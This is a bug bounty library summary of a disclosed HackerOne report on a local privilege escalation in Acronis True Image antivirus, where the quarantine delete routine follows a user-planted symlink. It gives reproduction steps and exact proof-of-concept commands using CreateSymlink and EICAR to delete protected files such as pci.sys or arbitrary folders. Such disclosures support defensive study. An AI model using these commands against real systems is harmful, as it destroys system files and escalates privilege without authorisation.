# Local Privilege Escalation when deleting a file from Quarantine

Acronis AV quarantine 'Delete from PC' follows a symlink at the emptied original file path, letting a low-priv user delete arbitrary protected files like pci.sys.

- Payout: $250
- Severity: medium
- Program: Acronis
- Found by: z3ron3
- Disclosed: 2024-08-26
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/983363
- Library page: https://bugbountylibrary.com/r/h1%3A983363
- Tags: area:os domain:desktop impact:integrity impact:privesc kind:bounty platform:hackerone sev:medium tech:windows technique:chained vuln:misconfiguration vuln:privilege-escalation

**Target:** Acronis True Image antivirus quarantine delete routine
**Root cause:** When deleting a quarantined file, the AV deletes the hidden 0-byte placeholder at the original path without impersonating the user or resolving/rejecting reparse points, so a symlink planted there redirects the privileged delete.
**Steps:**
1. Create folder `%userprofile%\Desktop\eicar`
2. Write EICAR string to `eicar.exe` so AV quarantines it, leaving a hidden 0-byte placeholder
3. Delete the placeholder: `rmdir /S /Q %userprofile%\Desktop\eicar\eicar.exe`
4. Create symlink: `CreateSymlink.exe %userprofile%\Desktop\eicar\eicar.exe C:\Windows\System32\drivers\pci.sys`
5. In Acronis AV Quarantine select file and choose 'Delete from PC'
6. AV deletes pci.sys via the symlink; for folders use `C:\Temp::$index_allocation`
**How found:** Observed that quarantine leaves a hidden 0-byte placeholder at the original path and that 'Delete from PC' deletes that placeholder with elevated rights, suggesting a symlink-following delete.
**Exploitation:** Attacker plants a mount-point/symlink at the placeholder path using James Forshaw's CreateSymlink (no admin needed via RPC Control object dir), then triggers the AV's privileged delete to remove an arbitrary protected file or folder.
**Escalation:** Author notes potential escalation from privileged delete to privileged write, unverified.
**Insight:** AV/EDR quarantine flows that clean up the original path with SYSTEM rights are symlink-attack surfaces; test placeholder deletion with CreateSymlink and `::$index_allocation` for folder deletion.

## Proof of concept (copied exactly from the original report)

**CreateSymlink from quarantine file to protected driver**

```
CreateSymlink.exe %userprofile%\Desktop\eicar\eicar.exe C:\Windows\System32\drivers\pci.sys
```

**EICAR file creation to trigger quarantine**

```
echo|set /p="X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" > %userprofile%\Desktop\eicar\eicar.exe
```

**Symlink to delete arbitrary folder via index_allocation**

```
CreateSymlink.exe %userprofile%\Desktop\eicar\eicar.exe C:\Temp::$index_allocation
```

